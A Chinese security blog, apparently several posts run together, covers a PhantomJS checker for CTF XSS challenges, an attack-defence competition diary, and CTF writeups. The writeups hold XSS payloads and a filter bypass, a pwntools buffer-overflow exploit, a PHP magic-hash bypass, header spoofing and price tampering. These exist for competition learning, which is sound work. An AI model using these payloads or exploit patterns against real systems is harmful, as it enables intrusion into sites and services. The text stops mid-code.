使用 PhantomJS 来实现 CTF 中的 XSS 题目

零:CTF、XSS 的概念

CTF 在这个博客中提到的已经很多了,它是一类信息安全竞赛,在比赛中,选手通过各种方式,从题目给出的文件或者网址中,获取到某一特定格式的字符串。

CTF 中比较常见的一个题型就是 XSS(跨站脚本攻击),大概的原理就是服务端没有正确过滤用户的输入,导致用户提交的畸形字符串被插入到网页中并被解析成 JavaScript 执行。在 CTF 中,XSS 一般用来拿管理员的 Cookie,伪造身份登录后台,再进行后续的渗透(顺便提一下,现在大部分网站的敏感 Cookie 都被设成了 HTTP Only,因此 XSS 是没法拿到的,需要用其它的方法)。

一个非常简单的反射型 XSS 注入如下(为了突出重点,我就不把页面写的这么完整了,一般的 CTF 题目也鲜有很符合规范的页面):

1
2
3
4
5
<html>
<body>
Hello <?php echo $_GET['name']; ?>!
</body>
</html>

如果我们输入的网址中,name 参数值为 rex<script>alert(1)</script>,那么整个网页会变成这样:

1
2
3
4
5
<html>
<body>
Hello rex<script>alert(1)</script>!
</body>
</html>

页面上就会有一个弹框。当然,如果能成功 alert(1),那么一般来说大概应该可能有其它方法来获取 Cookie,因此比较简单的 XSS 的检测方式通常是看页面上能否 alert(1)。

当然,XSS 还有其它方法,例如在一个论坛上发帖内容为 <img src=# onerror=alert(1)>,而这个论坛也没做输入过滤,那么这段恶意代码就会一直保留在这个帖子里,基本每个点进来的人都会遭殃。此为存储型 XSS。

就算服务端做了一些过滤,黑客也可能会绕过。例如服务端的过滤如下:

1
2
3
function escape($str) {
return preg_replace('/<script>/', '', $str);
}

想绕过的话,只需要使用 <scr<script>ipt>alert(1)</script> 即可,左边被过滤之后剩下的刚好又拼接成了一个 <script> 标签。

有一个很好玩的网站:alert(1) to win,是我在大一的时候某只姓三的学长给我的。这个网站给了你 escape 函数,你的目标就是输入 input,使其通过 escape 函数之后依旧可以 alert 出数字 1(注意是数字 1,不是字符串 1)。这个网站的题目对于目前的我来说还是比较难的,如果大家有兴趣,可以去挑战一下。

一:PhantomJS 的概念

我之前对电脑的认识是非常肤浅的。第一次听说虚拟机居然还可以跑在命令行下的时候,我心想:虚拟机软件本身没有图形界面,那你该怎么显示虚拟机里面的图形呢?后来特么又看到了 PhantomJS,居然是个没有图形界面的浏览器!当时还心想,这玩意又没法给人看,会有啥用啊……

后来接触了爬虫之后才逐渐理解了这玩意的用途。它是一个通过命令行和 API 操作的、没有图形界面的浏览器,专注于自动化测试、爬虫等不需要人们浏览,但需要获取数据的一些场合。

如果觉得 PhantomJS 官方的文档太多懒得看,针对一些简单的编程,看阮老师的这篇文章也可以:PhantomJS – JavaScript 标准参考教程(alpha)

二:基于 PhantomJS 的 CTF-XSS-Checker 的实现

我的思路大概是参照了上面的网站实现的,但是上面的 escape 函数是返回了一个过滤之后的字符串,而我打算直接用 eval 方法。

先放一下界面好啦!可以看到,上面网站中的 escape 函数被我改成了 check,里面会有一句 eval

0

由于 Node.js 与 PhantomJS 的交互最为简单,因此后端使用 Node.js 来编写。思路其实很简单:启动一个服务器,针对前端的静态文件直接返回文件内容(当然,这一点也可以用 Nginx 代劳),针对题目生成对应的题目网页,针对 /check 路由根据 POST body 进行 XSS 判断。

具体的路由逻辑我就不写了,毕竟即使不会开服务器,不会写路由,使用 koa 等框架也能很轻松地实现。这里重点说一下前后端的检验流程。写一个网页解释器实在是太难,而且也不值得,所以最简单的方法就是不如就让它 alert 成功,只不过我们修改一下 alert 函数罢了。

前端先生成一个隐藏的 iframe,通过劫持里面的 onerrorconsole.logalert 等函数来处理,通过 HTML5 Message API 在父页面和 iframe 之间传递信息。具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
window.onerror = function (a) {
parent.postMessage({
error: a.toString()
}, "*");
};

window.console = window.console || {};
window.console.log = function (a) {
parent.postMessage({
console: a
}, "*");
};

window.alert = function (a) {
if (a === 1)
parent.postMessage({
success: 1
}, "*");
else if (a == 1)
parent.postMessage({
warning: "You should alert *NUMBER* 1."
}, "*");
else {
parent.postMessage({
warning: "You need to alert 1."
}, "*");
}
};

window.onmessage = function (a) {
try {
check(a.data);
} catch(e) {
parent.postMessage({
error: e.toString().split("\\n")[0]
}, "*");
};
};

然后父页面通过返回的数据来处理就可以了,例如 onerror 的时候就将下面的黄条变红,并显示传过来的信息,如果 success 了,就将数据发给服务端进行验证。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// script 就是上面说的要嵌入 iframe 里面的代码
iframe.src = 'data:text/html,' + encodeURIComponent(problemText.replace(/\n\s*/g, '')) + script;
iframe.onload = function () {
this.contentWindow.postMessage(textarea.value, '*');
};

// 父页面通过 iframe 传回来的信息进行相应的处理
window.onmessage = function (e) {
var d = e.data;
console.log(d);
if (d.success !== undefined) {
tab.className = 'rs-tab rs-tab-success';
tab.innerText = 'Local check passed, running server check...';
// server check
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
tab.innerText = 'Server response: \'' + xhr.responseText + '\'.';
}
}
};
xhr.open('POST', '/check', true);
xhr.send(JSON.stringify({
id: location.pathname.match(/^\/(\d+)$/)[1],
ans: textarea.value,
}));
} else if (d.warning !== undefined) {
tab.className = 'rs-tab rs-tab-warning';
tab.innerText = d.warning;
} else if (d.error !== undefined) {
tab.className = 'rs-tab rs-tab-danger';
tab.innerText = d.error;
output.innerText = '';
} else if (d.console !== undefined) {
output.innerText = d.console;
}
};

这样本地的检验就可以啦!去看看服务端的 /check 是怎么写的。由于服务端是接收 JSON 返回 JSON 的,因此如果出了结果,直接输出一段 JSON 即可。假设我们已经想办法获取到了用户输入(上面那段代码中的 ans)、检验函数(之前提到的 check),那么可以这样写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var input = /* 获取到的 ans */;
var outputStr = '';

function output(obj) {
outputStr = JSON.stringify(obj);
}

window.onerror = function (a) {
output({ error: a.toString() });
}

window.alert = function (a) {
if (a === 1) {
output({ success: 1 });
} else if (a == 1) {
output({ error: "You should alert *NUMBER* 1." });
} else {
output({ error: "Server check failed, you need to alert 1." });
}
};

/* 在这儿注入 check 函数的实现 */

try {
check(input);
} catch (e) {
output({ error: e.toString().split("\\n")[0] });
} finally {
return outputStr;
}

说了这么多流程,终于要用到 PhantomJS 啦!我们需要用它创建一个页面,执行上面的代码,获取返回结果,并且在用户提交耗资源的操作(例如死循环)时及时将其关闭。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
var phantom = require('phantom');
var phInstance = null;
var exitted = false;
phantom.create()
.then(instance => {
phInstance = instance;
return instance.createPage();
})
.then(page => {
var script = /* 上面提到的 script */;
var evaluation = page.evaluateJavaScript(script);
evaluation.then(function (html) {
html = JSON.parse(html);
if (html.success) {
res.write('Check passed, flag: ' + /* 对应题目的 flag */);
res.end();
} else {
res.write(html.error);
res.end();
}
if (!exitted) {
phInstance.exit();
exitted = true;
}
});
})
.catch(error => {
console.log(error); // eslint-disable-line no-console
if (!exitted) {
phInstance.exit();
exitted = true;
res.write('PhantomJS error');
res.end();
}
});
// prevent time limit exceeded
setTimeout(function () {
if (!exitted) {
phInstance.exit();
exitted = true;
res.write('TLE');
res.end();
}
}, 5000);
}

最后配上一点样式,就大功告成啦!

1

2

3


P.S. 即将到来的 NUAACTF 会使用这个程序来设计 XSS 题目。当然,题目与 Flag 均不是本文中放出来的这些。

P.S.S. Chrome 目前也推出了 Headless 模式,而且支持 Chrome 的全部特性。PhantomJS 作者表示自己要失业了……23333

2016 全国大学生网络安全邀请赛暨第二届上海市大学生网络安全大赛决赛酱油记

这次比赛的形式跟暑假那次一样,也是攻防赛,选手需要维护三个服务,其中一个是二进制,两个是 Web。不过这次的网络跟上次的不一样,三个服务都处于选手自己的内网环境(172.16.9.X,每道题是一个 X)中,只对外网(172.16.5.X,X = 队名 + 9)暴露了必须的端口。不过思路还是一样,先把代码 Dump 下来,然后看看里面有什么漏洞,然后尝试利用。这次比赛不提供外网,而且只有四个小时(十分钟一轮),因此可能会困难一些。

我们队伍三个人,就我是搞 Web 的,剩下的两个学弟都是搞 PWN 的,因此果断让他俩去搞 PWN 了,我一个人慢慢看 Web。这篇文章就对这两道 Web 题逐题分析吧,最后再写写我踩过的坑,因为现场的时候,一道题卡住了就去做另一道,如果按照时间写的话可能会很乱。

Web1

Web1 是搭在 Windows 2003 上的,需要远程桌面连接过去。打开 Web 目录之后发现两个项目,一个是开在 8081 上的 HDwiki,另一个是开在 8082 上的 finecms。我只看了 HDwiki 这一块,看到 index.php 里面第一句就是 @eval($_POST['HDwiki']),这特么是个菜刀啊!然而我当时太傻逼,以至于没有用菜刀来验证,而是直接向其 post 各种各样的信息,结果发现均没法执行。在这儿耽误了好长时间,比赛结束后才想起来有可能是开了 WAF,如果是这样,那么普通的菜刀可能并不好使了,需要有绕过 WAF 功能的才可以。

Web2

Web2 开了两个端口 8081 和 8082,然而看源码发现 8082 只有一个 index.html 文件,里面的内容就是 8082,所以这个端口是没意义的。把 8081 端口对应的文件下下来,发现是个 CodeIgniter 的项目。首先将 ENVIRONMENT 改成 production,然后在 production 中禁用全部的报错。然后在 static/test-run/debug.php 中发现了一段代码:

1
2
3
4
5
6
$conn = @mysql_connect($db['default']['hostname'], $db['default']['username'], $db['default']['password']) or die("connect failed" . mysql_error());
@mysql_select_db($db['default']['database'], $conn);
$result = @mysql_query('select init from system', $conn);
eval('$system_info='.@mysql_fetch_row($result)[0].';');
echo "We are ".$system_info['owner'] ."<br>";
echo "Our taget is " .$system_info['taget']."<br>";

并搞不懂,不过可以看出来一点:它说数据库的 system 表中会有一个数据,于是看到 system 表,里面只有一个 init 字段,写了 ownermember_keytaget(居然不是 target),然而并没输出 member_key,可见其重要性。于是全局搜索一下,在 application/controllers/Download.php 中发现了这样一段:

1
2
3
function do_download($file){
force_download(APPPATH . pathcoder($file,$this->system_model->sys_select()['member_key']), NULL);
}

跳到 force_download 函数,发现它并没有检验传入的文件名,刚好 flag 相对于 index.php 的路径(index.php 是框架的单一入口)是 ../flag,因此可以直接访问 /download/do_download/xxx.html 即可下载到 flag,其中 xxx 是经过加密后的 ../flag。于是看到 pathcoder 函数:

1
2
3
4
5
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
// ....

只有解密算法,没有加密算法,这是让我们自己反推?然而这一串 md5……

愣了一会儿,突然反应过来,这段代码不就是 uc_authcodediscuz 中的对称加密算法)么?!对比了一下,跟 uc_authcodeDECODE 模式完全一样,当然,key 就是 member_key 了。然而我用 uc_authcode 加密之后却没法用 pathcoder 解密,不知道是什么情况,由于已经没有时间了,因此只能作罢。

踩过的坑

不要随便删文件

我一开始在 HDwiki 中看到了一个 check.php,与业务逻辑没有任何关系,只是查看文件 md5 的,因此就顺手将其重命名为 check.php233 了,结果我们的 Web1 被判定为 down,于是才知道这是主办方的存活检测(哪有这样做检测的啊),于是将其恢复之后就好了。

不要随便 die

我在 Web2 中发现了那个 debug.php,最下面有一个可能是变量覆盖的漏洞,我就在这之前添加了一句 die();,结果又被判定为 down 了……

不要随便改权限

之前想到 static 文件夹可能会有执行权限,于是我执行了 chmod -x static(嗯,没有递归),结果被判定为 down 了……然而我一直没反应过来(只想着 down 可能是文件哪里改坏了),因此导致我们 down 了 18 轮,基本全部的失分都是在这里。

Web 可能有 WAF,可能有函数限制?

不光是 HDwiki 的那个菜刀用不了,我自己写的一些一句话也用不了。而且靶机中没有 tcpdump,于是我还想跟暑假一样在一开始输出 $_SERVER['PHP_SELF'] 和全部的 header、body 来分析流量,然而不管是 fwrite 还是 fputs 甚至是 file_put_contents 都失效了。由于没有经验,所以我不知道是否还有别的抓流量的方法,这直接导致了我没法重放其它队伍的攻击流量(不然可以自己写个脚本得点分了)。


最终的结果是,我们由于防守的好(也可能是时间太短,其它漏洞都没人找到),只被 3years 打了一轮 Web1,剩下的失分都是因为 down。如果有上面这些经验的话,就不至于失掉那么多分,名次还会再往前进一波。

0

2016 全国大学生网络安全邀请赛暨第二届上海市大学生网络安全大赛 Writeup

天知道为啥这比赛的名字这么长……还是写一写我过的那些题吧!

[Web] 仔细

打开发现是一个伪 nginx 测试页面,然后扫了一下发现有个 /log 文件夹,打开发现里面记录了 access.log,猜想里面有访问记录,于是下载下来直接搜 200,搜到一条记录:

1
http://xxx.xxx.xxx.xxx:15322/wojiushiHouTai888/denglU.php?username=admin&password=af3a-6b2115c9a2c0&submit=%E7%99%BB%E5%BD%95

打开发现里面有 flag:flag{ff11025b-ed80-4c42-afc1-29b4c41010cb}

[Web] 威胁(1)

根据提示“管理于2016年建成该系统”,生成一个 2016 年所有日期的字典,最终爆破出密码是 20160807,登进去发现 flag:flag{2eeba717-0d8e-4a7e-9026-e8e573afb99b}

[Web] 威胁(2)

源代码注释中提示用户名为 test,密码为 123456,然而最后猜出来真正的用户名应该是 guest,登录之后发现 flag:flag{6db7d9f2-e7cf-4986-b116-e1810e6e4176}

[Web] 物超所值

点击网页中的 SHOP NOW 按钮提示金钱不足,抓包没发现数据,说明是前端验证。查看网页源代码发现了点击按钮执行的函数,直接在 console 里面执行“验证成功”的句子:document.getElementById('Shop').submit(),依旧提示金钱不足,抓包发现提交了 id=25535&Price=10000 这段数据,将 Price 改为 0.01,在网页中发现了一行代码:

1
confirm('Purchase success,flag is:flag{e6985c27-0353-4dc4-83dc-1833426779a0}');

[Web] 分析

打开是个静态页面,扫了一下发现了 http://xxx.xxx.xxx.xxx:1999/administrator.php,在页面最下方的注释中发现账号 administrator administrator,登录后提示 IP 不在许可范围内,抓包看了一下发现一段注释:<!--许可ip:localhost/127.0.0.1-->,于是修改 HTTP 头添加 X-Forwarded-For: 127.0.0.1,得出结果:flag{33edd0c8-3647-4e09-8976-286ed779e5d3}

[Web] 抢金币

一开始以为是暑假某场比赛的原题,结果发现直接输入验证码抢劫会被抓,被抓之后就没法买 flag 了。后来发现,只要先让服务器生成一遍验证码,再直接抢,发的包中不带 code 参数,就可以(也仅可以)抢劫一次且不被抓。于是写脚本每隔一秒发两个请求(一个生成验证码,一个抢劫),等金币大于 1000 之后访问 getflag.php,即可得到 flag:flag{defee21d-4e09-41fa-aab4-052bd3d406c6}

[Crypto] 洋葱

这题简直能用“恶心”来形容。下载下来的附件是一个 7zip 文件,可以查看文件列表,但打开文件和解压都需要密码。文件列表中有四个文件:CRC32 Collision.7zpwd1.txtpwd2.txtpwd3.txt,猜想后三个拼起来就是压缩包的密码。根据第一个文件名的提示,应该是用 CRC32 的碰撞来解。三个密码文件的 CRC32 分别是 7C2DF918A58A19264DAD5967,大小均为六个字节,于是尝试用 hashcat 来跑所有长度为六位的明文,然而跑出来的并不像最终答案。后来想到 CRC32 的碰撞是非常多的,因此得想办法跑出所有的解。经队友助攻,将 hashcat64.exe0x4d79a 处的 0001 5000 改成 0005 5000 即可。三个 CRC32 一共输出了 509 个解,人工分析了一下,分别找出了一个最可能是解的答案,拼起来即可得到解压密码:_CRC32_i5_n0t_s4f3

接下来的 CRC32 Collision.7z 文件解压之后有 Find password.7zciphertext.txtkeys.txt 几个文件,是一个维吉尼亚密码,其中给了一万个 key,有一个是正确的……随手写了段程序分别用这一万个 key 对密文解密,猜想英文中的 the 出现频率比较高,于是直接在结果中搜 the(首尾带空格),看到一段话:

1
the vigenere cipher is a method of encrypting alphabetic text by using a series of different caesar ciphers based on the letters of a keyword it is a simple form of polyalphabetic substitution so password is vigenere cipher funny

因此密码为 vigenere cipher funny,从而进入下一层。

这一层的提示中给了一个不完整的明文 *7*5-*4*3? 和不完整的 sha1 值 619c20c*a4de755*9be9a8b*b7cbfa5*e8b4365*,其中每一个星号对应一个可打印字符。对 sha1 中的星号枚举 [0-9a-f] 并将其放到字典中,对明文中的星号枚举 ASCII 为 33127 的字符并将其 sha1 后查找是否在字典中出现,最终得出答案:`I75-s4F3? 619c20c4a4de75519be9a8b7b7cbfa54e8b4365b`,进入下一层。

本层题目有两个提示,一个是 Hello World ;-),另一个是 两个程序 md5 相同,百度搜索 md5 相同 Hello World,可以搜到两个程序:HelloWorld-colliding.exeGoodbyeWorld-colliding.exe,其中第一个输出是 Hello World ;-),第二个循环输出 Goodbye World :-(,这个就是解压密码。但是原则上来说,有无数个具有不同输出的程序都可以跟第一个程序的 md5 相同,因此感觉这一层出的有问题。

最后一层给了一个 flag.encrsa_public_key.pem,可以通过 RsaCtfTool 直接生成私钥:

1
2
$ python RsaCtfTool.py --pkey rsa_public_key.pem --pri > private.key
$ openssl rsautl -decrypt -in flag.enc -inkey private.pem -out flag.txt

最终得出 flag:flag{W0rld_Of_Crypt0gr@phy}

[Misc] 面具

将图片下载下来分析一下:

1
2
3
4
5
6
7
8
9
$ binwalk C4n_u_find_m3_DB75A15F92D15B504D791F1C02B8815C.jpg

DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
12 0xC TIFF image data, little-endian
478718 0x74DFE Zip archive data, at least v2.0 to extract, compressed size: 153767, uncompressed size: 3145728, name: "flag.vmdk"
632637 0x9A73D End of Zip archive

$ dd if=C4n_u_find_m3_DB75A15F92D15B504D791F1C02B8815C.jpg of=flag.zip bs=1 skip=478718

解压 flag.zip 是一个 vmdk 文件,使用高版本的 WinHex 打开后,点击菜单中的“专业工具→将镜像文件转换为磁盘”,然后找到 分区1,里面有两个文件夹 key_part_onekey_part_two,第一个文件夹里面有一段 Brainfuck 代码,运行结果为 flag{N7F5_AD5;第二个里面没有有意义的文件,但是根目录下还有个曾经被删除过的文件(WinHex 提示:曾经存在的,数据不完整),打开是一段 Ook 程序,运行结果为 _i5_funny!},拼起来即可得到 flag:flag{N7F5_AD5_i5_funny!}


下面是队友们做出来的题。

[Basic] 签到题

rar 解压,密码 ichunqiu&dabiaojie,flag{ctf_1s_interesting}。

[Web] 跳

访问首页得到测试账号 testtest,猜测 admintest。拿到 token,访问 admin.php 得 flag。

[Crypto] 简单点

Brainfuck 解密得到 flag{url_lao_89}

[Misc] 大可爱

把那张图 binwalk 解压出来,得到 29.zlib。解压 zlib:

1
2
3
4
5
6
7
import zlib
with open("29.zlib","rb") as fp:
s = fp.read()
ds = zlib.decompress(s)
dsss = zlib.decompress(ds[0x28D28D:])
with open("decode","wb") as fp:
fp.write(dsss.decode("hex"))

之后再 binwalk 解压,得到一个加密的 zip 文件,密码在注释:M63qNFgUIB3hEgu3C5==,解压得 flag:flag{PnG_zLiB_dEc0mPrEsS}

[Reverse] re400

先用 IDA 载入 re400.static,发现这程序:

  1. 没有引用动态库,给我们这一堆没有符号的动态库的出题人是想作甚?
  2. 什么符号都没有…还是先跑一下,看有什么提示吧。

运行程序之后,随便输入一些数据,程序打印出 Wrong.,然后就退出了。IDA 里搜一下 Wrong. 这个字符串,看一下所在函数,基本可以推断出这个 sub_400CF0 就是 main 函数,大概的代码是这样的:

1
2
3
4
5
6
7
8
9
10
11
const char *expect = "OSHzTJ4pwFgRG6eS6y3xVOOEGcbE5rzwqTs7VCK6ACQLuiTamZpXcQ==";
int main() {
char input[256];
read(0, input, 256);
if (check(input, expect, strlen(expect)) {
puts("Right.");
} else {
puts("Wrong.");
}
return 0;
}

那个 expect 怎么看都像是 base64 编码的字符串,试着解码后,只知道它的内容长度是 40,没看出什么规律。

然后重点是 check 函数(sub_401510)到底是怎么检查输入数据的。但点开 check 函数后,里面一大堆 call 指令实在看得有点慌…点开第一个 call sub_429AE0 就看到一堆 xmm 寄存器,正常写出来的代码,基本不会被编译出用 xmm 寄存器的,所以猜测这应该是个 libc 的库函数。另找一个带有符号的 libc,用 IDA + bindiff 插件,尝试匹配其中的无名函数。虽然会有一些误判,大胆猜测一下,给一些函数重命名:

1
2
3
4
5
* sub_429AE0: strlen
* sub_402730: malloc
* sub_42C990: memset
* sub_432520: strcpy
* sub_402710: free

开始一边运行,一边分析 check 函数:

1
2
3
4
5
6
7
8
9
0x40153E - 0x40154C: 判断了 strlen(input) <= 5,如果成立的话,就直接退出了。因此输入的长度必须大于 5
0x401552 - 0x401576: 是一个以 rax 为循环变量的循环,检查了输入的前5个字符是否满足 [0-9A-Z]{5}
0x401578 - 0x4015E5: 申请了两块内存空间并初始化,然后把栈上的两块空间清零
0x4015EE - 0x4015FF: 循环,把输入的前五个字节复制到栈内存
0x401601 - 0x40163B: 有三个 call,先看第一个 call sub_401CA0,看到 0x10325476 之类的数字,md5 无疑了,仔细阅读一下,这块代码是在计算输入数据前五个字节的 md5
0x401648 - 0x401662: 又一个循环,循环变量应该是 r15,每次递增 8,与输入长度 r12d 进行比较,然后 call sub_401B30 的参数有三个:
* lea rdi, [rbx+r15] arg[0]:输入数据
* lea rsi, [rsp+30h] arg[1]:上一步算出来的 md5 的前半部分
* lea rdx, [rbp+r15] arg[2]:第一块 malloc(strlen(input)+16) 的空间

至于那个 sub_401B30 到底是做什么的,(一开始)实在没搞懂,暂时不管它,接着分析代码。

1
2
3
4
0x401674 - 0x4016AD: 看到 call 了 malloc 和 memset,然后有一个 call sub_401120,分析它参数:
* mov rdi, rbp arg[0]:上一步用 sub_401B30 算出来的结果
* mov rsi, r13 arg[1]:刚刚 malloc 的空间
* mov edx, r12d arg[2]:strlen(input),aligned 8

调试时,运行过这个 call 后,发现 arg[1] 的空间里是一个 base64 编码的字符串,解码后就是 arg[0] 的内容,确定这个 sub_4011120 应该就是 b64encode(src, dst, len)。剩下的代码,就是把这个 base64 编码的字符串和 expect 比较了。至此,剩下一个关键的 sub_401B30

花了好几个小时,重写出里面调用到的几个子函数,每个函数都用到了几十到几百字节的非线性变换。虽然不是特别难的事情,但工作量太大了…直到开始重写最后一个子函数的时候,注意到这个循环的流程是这样的:

1
2
3
4
5
6
7
8
* call sub_401930
* call sub_4018C0
* call sub_401AA0
* loop xor
* call sub_401930
* call sub_4018C0
* call sub_401AA0
* loop xor

为啥我联想到了密码学里的 Feistel 网络…然后再看这个函数最底下的那个

1
.text:0000000000401C6F                 call    sub_4018C0

sub_4018C0 是一个相对简单的变换,我想,这该不会是 DES 加密吧?验证一下,这果然就是 DES。

(`□′)╯┴┴
(╯°Д°)╯︵ ┻━┻
(╯#-_-)╯~~~~~~~~~~~~~~~~~╧═╧

算法就是:base64(DES.new(key=md5(input[:5]).digest()[:8], mode=DES.MODE_ECB).encrypt(input))

写一个程序,穷举输入前五个字节,能找到唯一匹配 expect 的输入:SHSECflag{675ac45bc131a1b7c145b605f4ba5}

附求解程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <mbedtls/des.h>
#include <mbedtls/md5.h>

int main(int argc, char *argv[]) {
int pos = atoi(argv[1]);
const uint8_t *t = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
uint8_t plain[8];
uint8_t cipher[9];
uint8_t key[16];
uint8_t target[] = {0x39,0x21,0xf3,0x4c,0x9e,0x29,0xc0,0x58,0x11,0x1b,0xa7,0x92,0xeb,0x2d,0xf1,0x54,0xe3,0x84,0x19,0xc6,0xc4,0xe6,0xbc,0xf0,0xa9,0x3b,0x3b,0x54,0x22,0xba,0x00,0x24,0x0b,0xba,0x24,0xda,0x99,0x9a,0x57,0x71};
mbedtls_des_context des;
cipher[8] = 0;
for (uint8_t a0 = 0; a0 < 36; a0++) {
plain[0] = t[a0];
for (uint8_t a1 = 0; a1 < 36; a1++) {
plain[1] = t[a1];
printf("status %c%c\r", plain[0], plain[1]);
fflush(stdout);
for (uint8_t a2 = 0; a2 < 36; a2++) {
plain[2] = t[a2];
for (uint8_t a3 = 0; a3 < 36; a3++) {
plain[3] = t[a3];
for (uint8_t a4 = 0; a4 < 36; a4++) {
plain[4] = t[a4];
mbedtls_md5(plain, 5, key);
mbedtls_des_init(&des);
mbedtls_des_setkey_dec(&des, key);
mbedtls_des_crypt_ecb(&des, target, cipher);
if (memcmp(cipher, plain, 5) == 0) {
printf("found %s\n", cipher);
for (size_t t = 0; t < sizeof(target); t += 8) {
mbedtls_des_crypt_ecb(&des, target + t, cipher);
printf("%s", cipher);
}
printf("\n\n");
}
}
}
}
}
}
return 0;
}

SUCTF 招新赛 Writeup

本来说好的招新赛,结果南航有一堆老司机混进去做题,而且主办方可以随时放题,因此最终题目难度变得没那么简单了。虽然出题的都是队友(队友:“我才没你这么差的队友呢!”),然而还是由于技术不过关,有些看似基础的东西仍然没有做出来。接下来就把我会做的题目写一下吧。

下面的顺序是按照在页面中显示的顺序,而非难度顺序。

[PWN] 这是你 hello pwn?

拖进 IDA,看到 main 函数是这样的:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp) {
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
write(1, "let's begin!\n", 0xDu);
read(0, &v4, 0x100u);
return 0;
}

显然是缓冲区溢出,然后注意到左边的 Function Window 里面有个 getflag 函数,地址为 0804865D,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int getflag() {
char format; // [sp+14h] [bp-84h]@4
char s1; // [sp+28h] [bp-70h]@3
FILE *v3; // [sp+8Ch] [bp-Ch]@1
v3 = fopen("flag.txt", "r");
if ( !v3 )
exit(0);
printf("the flag is :");
puts("SUCTF{dsjwnhfwidsfmsainewmnci}");
puts("now,this chengxu wil tuichu.........");
printf("pwn100@test-vm-x86:$");
__isoc99_scanf("%s", &s1);
if ( strcmp(&s1, "zhimakaimen") )
exit(0);
__isoc99_fscanf(v3, "%s", &format);
return printf(&format);
}

因此思路是先输入 112 个字节,然后覆盖 main 的返回指针为 0804865D,然后输入 zhimakaimen 即可,话说那个输出伪终端提示符的句子也真是……

1
2
3
4
from pwn import *
r = remote('xxx.xxx.xxx.xxx', 10000)
r.send('A' * 112 + '\x5d\x86\x04\x08')
r.interactive()

不知道为啥,我在最后写上 r.send('zhimakaimen') 并不管用,因此只能手动输入了。

1
2
3
4
5
let's begin!
the flag is :SUCTF{dsjwnhfwidsfmsainewmnci}
now,this chengxu wil tuichu.........
pwn100@test-vm-x86:$$ zhimakaimen
SUCTF{5tack0verTlow_!S_s0_e4sy}

[Web] flag 在哪?

打开网址,抓包可以发现在 HTTP 头里面有 Cookie:

1
Cookie:flag=suctf%7BThi5_i5_a_baby_w3b%7D

即可得出 flag。

[Web] 编码

打开网页,里面有个输入框和一个被 disabled 掉的提交按钮,抓包发现 HTTP 头中有 Password:

1
Password: VmxST1ZtVlZNVFpVVkRBOQ==

扔到 Base64 里面解出来是 VlROVmVVMTZUVDA9,一开始看到这编码我一脸懵逼,但是后来发现只需要再扔进 Base64 解几次就行了……最终解出来是 Su233。是够 233 的,把它输进去,用 Chrome 修改网页结构让按钮变得可以提交,最终得出 flag:suctf{Su_is_23333}

[Web] XSS1

只有一个输入框和提交按钮,过滤了 script 字符串,于是想到了用标签的 onerror 属性:

1
</pre><img src=# onerror=alert(1)>

提交之后可得 flag:suctf{too_eaSy_Xss}

[Web] PHP是世界上最好的语言

网页内容为空,查看源代码可以看到一段 PHP:

1
2
3
4
if(isset($_GET["password"]) && md5($_GET["password"]) == "0")
echo file_get_contents("/opt/flag.txt");
else
echo file_get_contents("xedni.php");

经典的 PHP 两个等号的 Feature,随便找一个 md5 之后是 0e 开头的字符串即可。

1
http://xxx.xxx.xxx.xxx/xedni.php?password=s878926199a

得到 flag:suctf{PHP_!s_the_bEst_1anguage}

[Web] ( ゜- ゜)つロ 乾杯~

AAEncode 编码,本质跟 eval 混淆压缩相似,可以找在线解码器,也可以直接去掉最后调用的部分(这样可以得出一个函数,然后在 Chrome 的控制台中点击进去即可复制内容)。内容是一段 Brainfuck,直接找在线解析器就可以了。得到 flag:suctf{aAenc0de_and_bra1nf**k}

[Web] 你是谁?你从哪里来?

只允许 http://www.suctf.com 这个服务器访问该页面,修改 Origin 和 X-Forwarded-For 即可:

1
2
Origin: http://www.suctf.com
X-Forwarded-For: xxx.xxx.xxx.xxx

得到 flag:suctf{C0ndrulation!_y0u_f1n1shed}

[Web] XSS2

这题不知道坑了多少人,虽然题目名称是 XSS,但是这其实是一道隐写。题目中给的路径 http://xxx.xxx.xxx.xxx/44b22f2bf7c7cfa05c351a5bf228fee0/xss2.php 去掉最后的 xss2.php 后有列目录权限,可以看到里面有张图片:914965676719256864.tif,直接用 strings 命令搜索一下即可得到 flag:

1
2
root@kali:~/Downloads# strings 914965676719256864.tif | grep suctf
suctf{te1m_need_c0mmun1catlon}</photoshop:LayerText>

[Mobile] 最基础的安卓逆向题

dex2jar 反编译,用 jd-gui 打开之后,在 MainActivity 中直接发现了 flag:

1
String flag = "suctf{Crack_Andr01d+50-3asy}";

[Mobile] Mob200

反编译之后发现 Encrypt.class 是 AES 类,key 似乎与图片有些关系,但是 AES 的加密和解密用的是同一个 key,因此直接抄过来即可。折腾了若干次 Java 之后才知道,有些函数不适用于 PC Java,而只能在安卓上用,因此新建了一个项目,将所有用到的代码都复制进来,补全了 Encrypt.class 中的解密部分,自己写了一个 MainActivity,导入了图片资源,调试工程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Encrypt {
// ....
public String doDecrypt(String paramString) {
try {
